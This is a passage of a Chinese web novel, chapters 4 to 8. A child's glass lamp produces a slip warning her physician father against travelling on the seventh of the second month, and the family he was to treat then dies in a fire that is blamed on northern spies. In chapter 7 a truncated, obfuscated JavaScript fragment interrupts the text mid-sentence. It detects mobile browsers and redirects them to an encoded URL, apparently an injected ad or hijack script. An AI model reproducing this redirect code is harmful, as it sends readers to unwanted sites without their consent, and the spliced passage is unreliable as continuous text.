那黑影盯着琉璃盏看了片刻,又将东西取出,把堆放在下方的糕点悉数取出,一口一块全部吃光,待琉璃盏中空无一物,这才满意地将东西重新放回。 它将琉璃盏调整到桌面正中,摆在了醒目之位,回头看了看还在床上酣睡的小人儿,慢慢退回窗边,翻身离去。 翌日,心里挂念着琉璃盏的阮歆梨,一早便主动掀被而起。 她激动地爬上凳子看向琉璃盏,只呆了一瞬,天塌了! 她的糕点呢!!!她囤了两天都没舍得吃的糕点呢!!! 阮歆梨抱着琉璃盏泫然欲泣,她将那小小的琉璃盏上下翻倒,却连一点糕屑都没倒出。 “我的糕点!你怎么能不给反吞?你这个坏琉璃盏......”泪水含了满眶,双眼模糊间,阮歆梨突然发现桌上多了一张纸条。 “这是什么东西?”她抽噎着打开纸条,用自己贫瘠的识字量仔细辨认道,“二月初七......大凶,不,不宜出门,切什么行医?” 纸条上的字写得歪七八扭,本来识字就不多的阮歆梨读得更是困难。虽然不太懂具体内容,但是读起来倒是有些像云嬷嬷常常念叨的老黄历。 这是哪里来的?云嬷嬷落下得么? 阮歆梨仔细回想,突然想起方才她来寻糕点时,琉璃盏内好像就放了一张纸条。 哭泣顿时止住,她将面上泪水擦去,将纸条又仔仔细细看了一遍。字还是认不全,但是她还是提取到了一些有用的信息。 二月初七?阮歆梨掰着手指细数,今天是正月二十二,还有十三天! 大凶?这个云嬷嬷叨叨过,是不好的意思! 不宜出门......那就是不适合出门。 切什么行医? 阮歆梨挠了挠脑袋,行医她知道,她的阿爹每次出门给人看病就是行医,那中间的字是什么意思? “怎么刚好缺了重要的字啊!”阮歆梨急得抓耳挠腮,只差一点点,她就可以解谜了! 苦恼地趴在桌面上思考,目光扫过书桌,她兴奋抬头,可以把这个字写下来,让阿爹教她呀! 拿着纸签哒哒跑至书桌前,阮歆梨握着笔杆,将这一字一笔一划的临摹在纸张上。 去找阿爹!他一定能帮她解谜! 奔跑的阮歆梨很是兴奋,她觉得这张纸签一定不简单! “阿爹!你快帮帮阿梨!” 赶到前厅时,阮知闲和林枝意也才将将就坐。看到向自己奔来的闺 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听到阮歆梨的辩解,林枝意格外恼火。阮知闲有些惊诧地看向林枝意道:“往日你都说盛京院里只会教出呆子,今日倒是对它评价甚好。” 林枝意突然打了个饱嗝,点着纸张道:“盛京院那群呆子,还是比她这狗爬字强,我们还是得实事求是。” “夫人这是怎么了?今日一早起床,你便嗝响不止。”阮知闲牵过林枝意的手腕细细把起了脉,林枝意抽回手打嗝道:“没什么,昨晚吃多了些,有点积食,待会去校场耍几圈就好。” 见阮知闲只顾着与林枝意聊天,俨然忘记了教她识字一事,阮歆梨赶紧晃了晃阮知闲的胳臂道:“阿爹,你还没给阿梨解释这个字!” 孩子突然有了好学之心,阮知闲自是不会拂了她的意,根据那歪扭的笔画依稀辨认道:“这应是一个‘忌’字。” “忌?”阮歆梨小声念叨了一遍催促道,“哪个忌?什么意思?” “忌,憎恶也。从心、己声。”阮知闲温声解释道,“简言之,就是憎恶坏人坏事,怨愤,嫉恨,又或是禁忌,忌讳。” “禁忌,忌讳......”阮歆梨琢磨了片刻明白道,“是不是就是阿嬷常常念叨的那本小书,比如,不该动刀,不该出远门?” 阮知闲欣慰一笑道:“阿梨很聪明。” 阮歆梨盯着桌上的“忌”字,细细琢磨起来—— 二月初七,大凶,不宜出门,切忌行医。 那就是二月初七这一天,是一个很不吉利的日子。在这一天不适合出门,特别是给人看病! 阮歆梨眨了眨眼,那个纸签是在暗示什么? “好了,饭菜该凉了,你若是想学习,过几日我便去盛京院那边替你报名。” 阮歆梨刚要拒绝,阮知闲便对着林枝意道:“夫人,前日临城文心坊那边的杜家派人来,说是他们府上的老夫人病重,如今已从云河本家而来,特邀我过府看诊,届时我怕是得出一趟门。” 闻言,林枝意喝粥的动作一顿:“何时?” 阮知闲微笑道:“二月初七。” 5. 第 5 章 “二月初七......”毛绒绒的小脑袋搭在黑漆四方桌上左摇右晃,阮歆梨抿了抿唇瓣,举起那张签纸皱眉嘀咕道:“这签纸看起来怎么奇奇怪怪的?” 她又拿起从云嬷嬷那要来的老黄历和昭福寺求来的灵签,三者相较,琉璃盏的签纸内容显然更具体,更直白。 阮歆梨将云嬷嬷拿来的那两张“神的指示”反复翻看,最后撇了嘴嫌弃地扔开,还是琉璃盏的指示好,没有拗口的签文,简单好懂。 放下手中的签纸,阮歆梨又蔫在了桌面上,她是年纪小,不是傻。 戴着面具的狐妖,莫名其妙出现在琉璃盏里的签纸,虽然她很喜欢看小书里神魔妖兽的故事,但是真的遇到这些,她还是不太相信。 阮歆梨想不通最近遇到的这些怪事,特别是这张签纸,万一是真的,那她阿爹岂不是很危险? 云嬷嬷常常念叨“宁可信其有,不可信其无”,安全起见还是让阿爹不要去杜家看诊了。 想着便去做,阮歆梨将签纸收好,扒拉着自己两条小短腿往她阿爹的药园奔去。 一袭青衣的瘦高男子挽着宽袖握着木瓢,细心地照料着药田里的草木,突然一声脆响的“阿爹”,惊得他多浇了半瓢水入田。 眼见着自家小祖宗穿过竹篱,踩着细窄的田埂摇晃而来,阮知闲无奈地将木瓢扔回桶中,几个跨步将险些摔进药田里的阮歆梨捞进了怀中。 “‘步从容,立端正。’走路要从容稳重,站立则姿态端正直立。”阮知闲小心地抱着孩子穿过药田来到药庐前,将阮歆梨放在了院中的竹节长凳上,伸手点了点她圆翘的小鼻尖道:“说了多少遍,还是记不住!” “记着呢!记着呢!‘步从容,立端正。揖深圆,拜恭敬。’”阮歆梨轻轻晃着悬空的小腿甜甜笑道:“阿爹你之前教过阿梨,阿梨没忘!只是急着找阿爹,所以跑得快了些。” 阮知闲满意地点点头:“那阿梨这么急着找阿爹,是有什么事情么?先说好,买糖不可以,你娘已经下了禁令。” “不是买糖!”阮歆梨眨了眨眼和阮知闲商量道:“是阿梨想去街上玩,阿爹你带阿梨去逛街好不好?” 小孩子心性!阮知闲倒也习惯了自家小土匪的贪玩劲儿,回身舀了瓢水,一边浇水一边应允道:“可以,正好明日无事,你莫要睡懒觉,阿爹带你上街玩。” 明日?阮歆梨赶紧摇头道:“明天不行!明天......唔,明天阿梨答应了珍儿和秀儿要一起做风筝!” 阮歆梨随口找了个理由推拒,看着阮知闲高挺的背影试探道:“三天后吧!三天后阿爹带阿梨上街玩好不好?” “三天后?”阮知闲的动作一顿,垂眸算了算日子摇头道:“不行,那日是二月初七,我得去杜府给杜老夫人看诊。” “不能改天再去看诊么?二月初六或者二月初八!”乌黑如墨的眸珠机灵转动,阮歆梨打着小算盘想着如何帮她阿爹躲过这不吉利的一天。 “不行。”阮知闲毫不犹豫地回绝道:“杜家老夫人初七一早方能到府,病情不分时间,哪怕只是一个时辰,都可能会耽误了最佳的治疗时机。” 见阮知闲不为所动,阮歆梨软了嗓子试图撒娇:“阿爹~就一天!你方才已经答应阿梨,要陪阿梨出去玩......” “阿梨,不可胡闹。”阮知闲停下手中的活,回头板正着脸道:“人不可言而无信,我既答应了杜大人在先,那便得信守承诺。阿爹答应带你上街玩,那也一定会做到,只是需要另寻时间。” “阿爹......”小姑娘扑棱着细密的睫毛刚唤出口,阮知闲便严肃了神情轻斥道:“阿梨!” 见阮知闲是真的要生气了,阮歆梨只得作罢,撅着小嘴有些委屈道:“哦,阿梨知道了。” 劝不动阮知闲换时间,阮歆梨一时也没了办法,她从长凳上跳下,慢吞吞地绕过药田往回走道:“阿爹你继续忙吧,阿梨先回去了。” 垂头丧气的小姑娘,背影也矮了几分。本就娇小的身形,这会显得更是可怜。阮知闲不禁有些心软,可有些事早已约定好,他又不得不走这一趟,只得微微叹气道:“阿爹初八便归,到时候带你出门玩,给你买白泽的面人好不好?” 没有得到想要的结果,阮歆梨没精神地点了点头。 看着走远的粉嫩小团子,阮知闲也有些惆怅。孩子果然大了,以前一颗糖就能哄好,现在一个面人都不为所动,真是越来越难哄了...... 回到屋里的阮歆梨彻底没了精神。她将签纸摊在床铺上,盯着纸上的“大凶”二字,心里阵阵不安。 也不知道这个“凶”到底是怎样的凶法,阿爹一向不信鬼神,她若直接和阿爹说签纸的事,不但阻止不了他出门看诊,恐怕自己也要反挨一顿斥责,再抄上两遍论语。 屋门吱呀轻开,云嬷嬷瞥了眼内室惊呼道:“哎哟,我的小祖宗,你怎么能脱了鞋袜赤脚趴在床上!” 云嬷嬷赶紧坐至床边,拉过阮歆梨两只白嫩的小脚焐在怀里道:“你看看,脚心冰凉!趾尖都冻红了!真是胡闹!” 阮歆梨有些不好意思,扯了扯自己的小腿,没扯动,索性也就贪着那份热源,翻了身仰躺于床道:“方才去药园找阿爹,回来时走得急有些热,便脱了鞋袜没注意。” “那更不可了!如今天气还凉,出了汗若是贪凉吹风,待到汗干了又没有即时保暖,必然伤寒头痛。”云嬷嬷一边帮阮歆梨暖着脚,一边拉过一旁的锦被盖在她身上道:“万一生了病,不仅你自己身子不好受,将军和先生也得担心好几日!” “阿梨知道啦!阿梨身体好得很,才不会那么容易生病......”阮歆梨倏然一顿,撑着胳膊坐起身道:“如果阿梨生病了,阿爹就会很担心么?那他还会出门么?” “这是什么话!”云嬷嬷只当是小孩子在意父母的关爱,笑着拍了下她的小脑袋道:“你哪次生病,先生不是全程陪在身边照看?就连煎药喂药都不肯经他人之手。” 阮歆梨裹着被子,盘腿坐在床上陷入了沉思。云嬷嬷笑了笑也不再打扰她,从角落的洗漱架上端走铜盘道:“我去给你打些热水,夜里寒凉,待会泡了脚便早些休息吧。” 屋门一开一合,掀起了一阵冷风。阮歆梨缩了缩脖子思考道:“ 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“果然,阿娘还是让人把墙边的砖砖都搬走了!”绕着墙根找了许久,总算是找到了一个废弃的木箱,借着木箱的高度,阮歆梨爬上了堆放柴火的草棚,又踩着草棚的脊顶攀上了墙沿。 “嘶——”墙沿上的瓦片被寒气熏得冰凉,阮歆梨坐在墙沿上忍不住搓了搓小手:“怎么这么冷啊......” 雪白的小手冻得通红,搓了几下没有回温,阮歆梨刚想把手揣进自己的小斗篷中,倏然想起自己的目的,揣手的动作立刻停了下来。 她深深吸了一口气,慢慢呵出雾气,一边抖着手解开斗篷,一边打着冷颤自我安慰道:“不冷不冷,阿梨不冷,太阳公公暖洋洋,阿梨浑身热得慌......” 想了想害怕只解斗篷还不够,她又解开了自己绯色锦缎外袍的盘扣。没了绒毛立领的包裹,寒风霎时灌颈而入。 阮歆梨抖着下颌瑟瑟发抖,忍不住抱着臂膀搓揉道:“没事没事,一会就好!” 然而越念叨越冷,她想着得找些事情转移注意力。看着墙外快被寒风吹灭的烛火,阮歆梨想起了除夕那夜遇到的狐妖。 “云嬷嬷说阿梨是个福娃,说不准今天晚上还能遇到那只狐妖,他还欠着阿梨的约定,一定要找他兑现了!到时候我要吃糖葫芦,买面人,还要去闲来书斋买最新的小书......” 阮歆梨坐在墙头上一边哈气一边幻想,直至天边泛青,终于忍不住早就袭来的困意,模模糊糊拽过扔在一旁的斗篷,裹紧自己陷入了昏睡。 天际泛白,通往肃远侯府的小巷一片寂静,刚刚在都堂处理完卷宗的顾明池,揉着肩颈往回而走。 行至镇远将军府外,墙头上依稀传来窸窣之声,顾明池的动作微顿,将将抬头想要查看,一片绯色兜头而来! 仓促间他似乎看到了一张熟悉的小脸,匆忙抬手,那一片绯红落入了他的臂弯之中。 感受到热源,阮歆梨裹紧斗篷将脸完全贴了上去。看着将脸埋进自己胸口的阮歆梨,顾明池陷入沉思。 他如果现在把人塞回去,不知道林将军会不会提刀追杀他几条街? 6. 第 6 章 熟睡中的阮歆梨看起来与醒时不同。那双酷似林枝意的乌眸紧闭,少了些许古灵精怪之意,倒是让她多了几分阮知闲的温良柔和之相。 小姑娘的肌肤细腻嫩滑,犹如晨曦中娇嫩的花瓣,仿佛轻轻一捏就能挤出水来......正在观察怀中人的顾明池微愣,这花是不是有些红艳过头了? 顾明池抬头看了眼高立的墙头,从这么高的地方摔下来还没有任何醒来的迹象......顾明池抬臂将人竖抱在怀,空出一只手摸了摸阮歆梨堪比海棠红的小脸—— 冰冷的指尖被热意灼烫,果然,这花不是开得太娇艳,而是快被高热烧蔫了。 顾明池只觉自己也有些头痛,忙活了一整夜,本想趁着天亮前这两个时辰回府休息片刻,没想到半路接了朵可怜兮兮的娇花。这花是不能随便抛了,如何送回去倒也是个难择之选。 肃远侯府与镇远大将军府虽然只一墙之隔,但两座宅邸的大门却是南北相反,中间还夹着两府占地甚广的庭院内宅。 而阮歆梨钟爱的这座墙就刚好在将军府的最南端,若是从这里再走回将军府大门,必然需要一炷香的时间。加上下人通传,以及和林枝意客套闲聊的时间,一个时辰便过去了。 连着忙碌了好几日的顾明池揉了揉自己的眉心,望着将军府的墙头犹豫了片刻,果断后退几步,单手抱紧阮歆梨借着力攀上墙沿,一股劲翻了进去! 邻居多载,顾明池来将军府的次数屈指可数。凭借着对一般宅院的了解和过去的记忆,他估测着阮歆梨所住的院落方位,抱着她在将军府内快速前行。 若是能遇到将军府的仆从更好,他就可以将人直接交给他们,让他们通传林将军夫妇,他便可以完成任务再走捷径翻回肃远侯府,赶在今日当值前再休息一个多时辰。 顾明池在心里盘算着送回阮歆梨的最佳方案,怀中一直昏睡的小姑娘倏然有了些动静。大抵是高烧蒸得脸上不痛快,小姑娘趴在他的肩头不断蹭动,想要寻找一片能够降温的凉地。 原本环着阮歆梨的手臂只是虚扣,这会小姑娘多动,害怕她会摔下去的顾明池只得收紧手臂,又用空闲的那只手搭上她的后颈,将人老老实实地按在自己的肩头。 身体无法扭动,烧得难受的阮歆梨只得侧了脑袋去寻找能为自己降温的东西。耳侧微凉,她触到一小片细腻温凉的柔软之地,鼻腔都在喷火的阮歆梨当即将脖子侧伸,把自己滚烫的脸颊整片贴了上去,随后舒适地呵出一口热气。 正抱着人疾行的顾明池脚下险些趔趄,脖颈转动间,颈窝处那一块热意滚烫灼人。 被灼得浑身不自在的顾明池匆匆伸长了脖颈想要避开,然而趴在肩头的人就如同觅着骨头的小狗,伸着脖颈一直贴脸追随。 就在顾明池准备换个抱姿时,小姑娘从斗篷中伸出手紧紧环住了他的颈脖,贴着他的颈侧,用滚烫的小脸轻蹭道:“别动!好热!” 肃远侯夫妇只留下顾明池这唯一血脉,顾明池也不曾和族中其他远房兄弟姐妹相接触,原本抱孩子的姿势便不熟练,这会更是手脚僵硬不知如何是好。 灼热的气息在颈间蕴出黏黏湿意,实在难受的顾明池腾出手点住阮歆梨的额头,准备用力将她的小脑袋推开—— “狐妖你怎么还没来?说好的要带阿梨去逛夜市......”因为高热缺水,小姑娘原本软糯的嗓音也变得嘶哑,她委屈地嘟着唇瓣念叨着:“阿梨要看戏法,想吃糖葫芦,可是阿梨等了半宿也没等到你......” 听着阮歆梨昏迷中的碎碎念,顾明池点在她额首间的手指仿佛被抽去了力气。 她是在......等他? 阮歆梨还在迷迷糊糊地报着自己的心愿单,她每报一个心愿,顾明池的手就不自觉地后撤一分,到最后他彻底地蜷起了手指,脸皮之下热意腾升。 呐,那晚他不过是随口哄小朋友,小朋友怎么就当真了? 因着自己随口一句承诺,便害得人在墙头上吹了半宿寒风,在官场混了几年早已练就厚脸皮的顾明池这会也不禁有些臊脸。 方才被亲近的不适感也无暇再顾,顾明池抬手摸了摸小姑娘柔软的发髻,嘴中小声嘀咕道:“看着挺机灵的,怎么是个傻乎乎的。” 愧疚之意在心头蔓延,出神间背后倏然一道劲风袭来,顾明池侧身闪躲,下一刻便被一股蛮劲抵着喉咙按撞在树干之上! “偷东西也不看看地方!让老娘看看你这毛贼识不识货,都偷了些什么好东西!” 林枝意有晨练的习惯,今日刚提了刀出门,便看到一道陌生的身影,怀中抱着一团不知是什么的鼓囊东西,在自己家的院子里东张西望,很是嚣张! 这小贼也是个贪心的,本有机会躲闪开,却又舍不得撒手扔下怀中的东西。林枝意不禁好奇他是偷到了什么宝贝,于是将刀柄抵在对方的喉头之处,单手掀开了那团东西的白色外皮...... 林枝意:???!!! 喉间骤然压紧,撞在树干上的顾明池尚未来得及出声,手中便骤然一空。刀锋破空之声响起,顾明池凭着本能旋身转开,赶在林枝意下一刀劈来前喊道:“林将军且慢!明池唐突,还请将军见谅!” 凌厉刀风戛然而止,林枝意抱着阮歆梨拧眉收刀:“顾明池?” 顾明池整了整自己的衣冠抬手行礼,林枝意上下打量了几眼不解道:“这一大清早你不在肃远侯府中休息,怎么会在我的府里?” 将兜帽重新盖回自家闺女的头顶,林枝意轻轻拍了拍她的后背,看向顾明池的目光顿时锐利如刀:“你抱走阿梨是要做什么?” “怎么了?”听到院中有打斗之声,阮知闲披了外衣便匆匆走了出来。看到院中的顾明池也甚是惊讶:“顾大人?这么早你怎么在我们夫妇的屋前?府中人真是越来越懈怠了, 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“今日是我鲁莽,先给顾大人赔个不是。”想起对方还捡回了自家的皮猴,林枝意又道谢道:“劳烦顾大人特意送小女回来,改日定邀顾大人吃顿便饭,聊表谢意!” “林将军客气,举手之劳。” 林枝意心中挂记着阮歆梨的病情,只客气了两句便急着回屋看一看,然而刚走了两步,她又猛然回头看向还在身后未动的顾明池,顿了片刻浅笑道:“先前竟不知顾大人身手这般好,不知顾大人习武多久了?” 顾明池笑意微减,俊朗的面容上眉目疏冷。他垂落的长睫投下淡淡青影,低沉着声平淡道:“不过是强身健体随意而练,算不得什么真功夫,只是练了几日,反应会比常人更灵敏些罢了。” 林枝意是真刀实枪在战场上磨炼出来的练家子,一交手自是知道对方深浅。她也没有戳穿顾明池的谎言,既然他不愿说,她也不会强追着问。 “练练功夫强身健体挺好的。”林枝意顿了顿含笑道:“若是顾大人有意,往后可来将军府寻我小练切磋。” 顾明池没有直接回答,只抬手行了一礼。 林枝意看着眼前身形挺拔的青年,心知他也早已不是十多年前,那个会因为害怕雷雨而缩在她怀中哭喊林姨的孱弱小孩。 “今日多谢顾大人了。阿梨调皮,也给顾大人添了不少麻烦。”林枝意看了看天色送客道:“顾大人凌晨方归,想来也很是疲惫,早些回去休息吧。” 顾明池正欲抬手告辞,可不知怎么就突然想起了阮歆梨那几句病中呢语。 他立在原地犹豫了片刻,最后还是摇头上前道:“令千金似乎风寒甚重,怀轩兄尚在都堂办事,我与他乃好友,还是多留片刻,也方便帮助阮大夫一二。” 看着态度真诚的顾明池,林枝意不禁剑眉微挑—— 都说肃远侯府家的小侯爷是狐狸成精,没想到这小狐狸还是个热心肠? 7. 第 7 章 “好端端的怎么会病成这样?”看着床上烧得迷糊的阮歆梨,云嬷嬷急得手足无措:“都怪我疏忽了!夜间睡得太沉,竟然连小姐出了屋都不晓得!” “这怪不得你。”林枝意守在床边等着阮知闲的诊断,听到身后云嬷嬷的自责之声,她看着床榻上直喘粗气的女儿无奈道:“她若是想偷偷溜出去,有的是方法,哪里是能看住的?” 诊完脉的阮知闲将阮歆梨的手轻轻放回被子中,抬手轻柔地抹去她额间虚汗,又温声交代珍儿去打些热水,让她与云嬷嬷一同给阮歆梨擦拭身子。 见阮知闲往书桌旁走去,林枝意大步跟过去道:“如何?阿梨可还好?” 阮知闲向来温雅,一举一动沉稳而舒缓。这会立于桌前,研磨的动作有些急促,却还是温着嗓音安抚道:“尚可,等会先服一剂药看看,若是今日能散了热便无甚大碍。” “如此便好!”林枝意一贯的粗心肠,听到阮知闲的回答,顿时喜笑颜开,叉着腰站在阮知闲身旁看他写药方。待药方写好,林枝意立刻招呼左青去药庐取药。阮知闲想了想又交代道:“左青,连同我的药箱一道带回。” 左青很快便取回了草药与药箱,阮知闲吩咐一直跟在自己身边学习的药童去煎药,叮嘱好火候时间,这才拎了药箱重新回到床边。 看着拿着药包疾跑出去的药童,林枝意摸了摸自己的下巴终于意识到什么,她皱着眉跟至床边,盯着阮知闲指间捻着的银针问道:“云郎,你老实告诉我,阿梨这次的病是不是很棘手?” 阮知闲手起针落,连落三针后才看向一旁焦虑的林枝意温和道:“阿意你可信我?” 林枝意神色缓了不少,她看向一旁的左青道:“你去宫中替我告假,如今周放也不在,这两日你便留在营中多照看着点。” 左青领命而出,林枝意便坐在桌旁一动不动地守着床榻处的父女二人,片刻后她方才想起之前没有离开的顾明池,侧头往外厅一看,这才发现人不知何时已经离开。 “顾大人方才与左副将一同出去了。”见林枝意回头寻人,秀儿上前传话道:“顾大人说他正好要回刑部官署,便替左副将去趟宫中,走时见您与老爷正忙,便没有打扰。” “师父,药煎好了!”阮知闲身边的那个小药童阿鹤,端着药碗小跑而回。林枝意起身扶起阮歆梨,小心地让她靠在自己怀中,紧张地看着阮知闲给她喂药。 病中昏睡的阮歆梨倒是格外好喂药,看着黢黑的药汤被一点一点喂尽,夫妻二人不禁松了一口气。 见药汁全部喂完,阿鹤这才出声询问道:“师父,方才药堂那边来人了,杜府那边问您明日大概何时可以动身?” 阮知闲摸了摸阮歆梨的额首,犹豫着正要答话,靠在林枝意怀中的阮歆梨却忽然偏头一呕,将方才的药汁全部吐了出来。 林枝意手忙脚乱地为呛咳不止的阮歆梨拍背抚胸,阮知闲赶紧放了药碗,从林枝意手中接过孩子,慢慢拍抚缓解着她的不适。 这会小姑娘难受得紧,一张小脸烧得通红,嘶哑的嗓子也不时响起低低的呜咽。 阮知闲心疼得抱着她拍哄着,思索了片刻对着阿鹤道:“你去一趟药堂,让吴叔去西郊找一趟郝老爷子。就说我答应了临城文心坊的杜大人替他母亲看诊,但是阿梨染了严重的风寒,我脱不开身,只能劳烦他替我走这一趟。” 阿鹤年纪虽小,但做事很麻溜,当即应声道:“师父放心,阿鹤这就去!” 缓过这一阵的不适,阮歆梨渐渐安静了下来。阮知闲将她轻轻放回床榻,林枝意敲了敲手指道:“这杜老夫人的病一日也拖不得了么,竟要劳得郝神医亲自跑一趟?” 阮知闲掩被的手微顿,眼睫轻垂解释道:“本就久病不医,如今已是病危,自是拖延不得。我如今因为阿梨脱不开身,郝老爷子是医中圣手,让他去一趟,杜大人应当也是放心的。” 林枝意单手支着下巴点点头,待到阮知闲回到桌前重新写方子配药,她才轻轻叹出一口气,看着床上的阮歆梨,眉眼间满是心疼。 阮歆梨这一病来势汹汹,高烧起起退退,一直到第二日清晨,身上的高热才完全散去。 又是昏昏沉沉的一日,直到晚间泡完药浴,阮歆梨才彻底清醒过来,一睁眼便低嚎着肚子饿,但因着病情刚刚好转,家中的阮神医只批了一碗鱼片粥于她。 没吃到心心念念的八宝鸭,阮歆梨本就心有怨念,等看到阿鹤端来黑漆漆的药汤时,那一张小脸竟是比霜打的花骨朵还显悲惨。 “这个可以不喝么?”阮歆梨揉了揉自己并未吃饱的肚子瞎说道:“刚才那碗粥吃得太撑了,阿爹说过食当适量,吃多了会积食。” “那你阿娘还说过不听话的孩子就要挨打,你怎么就不记得了?” 林枝意整理着腕袖跨门而入,自知理亏的阮歆梨当即闭了嘴,撇着嘴乖乖地接过阿鹤递来的药汤,翕动着唇瓣一点一点抿起来。 收拾好药庐的阮知闲一进门就看到五官皱成一团的亲闺女,看着她表情鲜活的模样,不禁含笑道:“精神状态不错,看来阿梨已经好得差不多了。” 龇牙咧嘴的阮歆梨嘶声散着口中的苦味,一碗汤药嗦了许久竟是连碗底都看不见。 阮知闲刚想上前哄她一鼓作气喝完,门外左青带着宫中口信而来:“将军,陛下召您入宫觐见。” 林枝意正翘着腿观赏自家皮猴的喝药惨状,听到左青的传报不禁有些诧异:“这个时间陛下召见?” “是,刑部的陆尚书、顾侍郎,大理寺卿张大人,盛京府尹朱大人也一并通传入宫了。” “刑部、大理寺、盛京府......”林枝意有些摸不着头脑道:“这是盛京出了什么要案?但这与我关宁军有何关系?” 左青抬眸瞥了眼还在哄孩子吃药的阮知闲,将夜里收到的消息通传道:“今夜戌时,临城文心坊起了一场大火,北都督府杜佥事一门以及替阮先生去看诊的郝神医,皆命丧火海。另外,现场还发现了北寒暗鸢楼的令牌。” “北寒?”林枝意薄唇轻抿,起身自内室的红木衣架上取下朝服道:“备马,即刻进宫!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142371|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 听闻杜府大火,连同郝神医也一起命丧火海,阮知闲的神色便一直沉郁不散。 阮歆梨抱着汤药碗偷听着外间的对话,思绪也是如同乱麻。 “造孽哦,一大家子人都命丧火海,这些个北寒人怎的这么心狠!”云嬷嬷听得眉头直皱,一回头看到阮歆梨手中的药碗,神色惊喜道:“小姐今日表现可真棒!竟是自己将这一碗子药喝完了!” 阮歆梨低头一看,这才发现光顾着听左青说话,一不留神竟然把药汤全喝完了! 这会回了神,嘴里的苦味一下子翻涌而上,她吐着舌皱眉道:“好苦呀!” “快!含颗蜜饯解解苦!” 云嬷嬷赶紧转身招呼秀儿去拿蜜饯,阮歆梨盘腿坐在床上,一双乌眸轻轻转向了一旁桌案上的琉璃盏。 外室门扉轻响,阮歆梨探头查看,只见阮知闲的臂弯处搭着一件紫纹狐皮大氅,他似乎是要出门。 阮歆梨眨了眨眼询问道:“阿爹?你要去哪里呀?” 阮知闲提了仆从放置在门口的灯笼,望了望屋外已堆积起有寸许的冰雪道:“你阿娘方才走得匆忙,只在朝服内穿了单衣。夜间寒凉,我去给她送件氅袍。” 心中还是有些担忧,阮知闲又叮嘱交代道:“你风寒未好,切记不要再出门吹风。乖乖听云嬷嬷的话,晚上早些休息。” 阮歆梨乖巧点头,阮知闲眉心稍松,这才放心离去。 “小姐,快含颗蜜饯,这是珍儿前段时间才腌制好的,可甜了!” 秀儿将蜜饯放至阮歆梨的嘴边,她鼓着腮帮裹了蜜饯,唾沫吞咽间,口中苦味渐渐散去。 云嬷嬷端了浓茶给阮歆梨漱口,随后替她叠好锦被,安放好软枕道:“夜色已沉,小姐早些休息吧,阿嬷在这陪着你。” 云嬷嬷的眼下晕着青色,显然这两日也不曾休息好。 阮歆梨心知自己这一病让大家担忧许多,这会也是格外懂事听话。她抓着被沿乖乖躺好,又瞥了眼桌案上的琉璃盏道:“阿嬷可以帮阿梨把琉璃盏拿过来么?” 云嬷嬷将琉璃盏取来,阮歆梨伸手将它抱进怀里,一同裹进了被子中。 珍儿将屋内的灯台熄灭,只留下一盏小小的莲花灯。云嬷嬷在外间轻声酣睡,睡不着的阮歆梨圆睁着眼开始回想左青的话。 正如那张签纸上所言,二月初七大凶,不宜出门看诊。若是阿爹今日依着计划去杜府看诊,那他可能也会丧命于火海之中。 阮歆梨轻声吐出一口气,将怀中的琉璃盏抱得更紧。 之前她对琉璃盏的神力只有三分信,得了今日之事的验证,她已是信了九成九。 阮歆梨盯着头顶的云纹锦帐,一双黑白分明的杏圆眼在黑暗中鲜活明亮。她摸了摸琉璃盏上的雕纹,心中一阵窃喜—— 这可真是个大宝贝啊! 片刻后,阮歆梨突然意识到一件事,前日她明明是坐在墙沿上的,又是怎么回到屋内的呢? 回想迷糊之时闻到的那股清香,她那晚好像又遇到先前的那只狐妖了。 8. 第 8 章 亥时,崇和殿。 景明帝揉捏着眉心头疼不已。他将盛京府尹呈上的奏折又翻看一遍,半晌后才看向下方候立的几人道:“此事,诸位爱卿有何想法?” 陆尚书拢着手没有说话,顾明池站在他的身后眼观鼻鼻观心。大理寺的张大人偷偷观察着陆尚书的表情,见他不吱声,自己也垂了头没有答话。 林枝意在刀柄上点着手指未语,查案破案也不是她擅长之事。从进殿开始,她便一直站在一旁出神,也不知在想些什么。 一群同僚都不在状态,上首的景明帝还在等着回话,已经为杜府灭门一事忙碌了一天的盛京府尹,只得硬着头皮先行开口道:“微臣以为这场火灾是人为而非意外。” 景明帝抚着额首眼皮轻掀,他瞥了眼下方的盛京府尹示意道:“你接着说。” “杜佥事一家算上仆从,共计八十六口人,这场大火几乎将府中建筑烧得殆尽,八十六人竟无一人逃出,实是奇异。” 盛京府尹根据以往的经验推断道:“府中人皆未有束缚之征,如今尸检结果虽还未出,但微臣猜测,他们极有可能是在起火前就已陷入昏迷的状态,这才会在大火中毫无挣扎逃生之相。” 景明帝点点头道:“那凶手呢?爱卿又有何看法?” “呃......”盛京府尹吱唔了片刻,低着头说出了自己的想法:“微臣以为......或许是北寒人所为。” 景明帝峰眉挑动,手指在桌案上那块被烟火灼得灰黑的令牌上点了点,他没有点评盛京府尹的想法,而是看向一旁的陆尚书道:“陆爱卿,你怎么看?” 被点了名的陆尚书头颅微抬,他抖了抖自己垂落的官服衣袖直白答话道:“臣不知。” 景明帝盯着他不语,陆尚书低垂着眼继续道:“臣只知若是北寒人所为,两国邦交必然受到影响,这是北寒与我东盛皆不愿看到的情况。” 陆尚书虽未明言,景明帝倒是听明白了他的言外之意:“爱卿是觉得有人嫁祸北寒?” 听到景明帝的话,陆尚书连忙摆手道:“臣可不曾这么说。” 一旁的大理寺卿偷偷睨了一眼陆尚书,心中不禁啐道一声老狐狸! 明着说怕被误认为是亲近北寒,有帮北寒脱罪之嫌。引着景明帝按着他的思路去分析,等他说出想法后又一口否决,真是一点风险也不沾! “张爱卿,你又怎么看?” 同样被点名的大理寺卿挠了挠鼻尖,他也学着陆尚书打太极道:“回陛下的话,陆大人乃北都督府佥事,身兼要职,而他的府中又出现了北寒出名的密探组织暗鸢楼的令牌,此事不容小觑。” 问了一轮,手下人却是一个比一个滑溜,景明帝不禁有些恼火:“找你们来就是想听些切实的看法!你们倒好,一个个跟朕玩心眼,话里藏话!” 陆尚书是朝中老臣,见景明帝发火倒也不惧,眼皮轻撩,捻着胡须笑呵呵道:“陛下明白就好,事关两国关系,有些话臣等确实不敢胡说。” 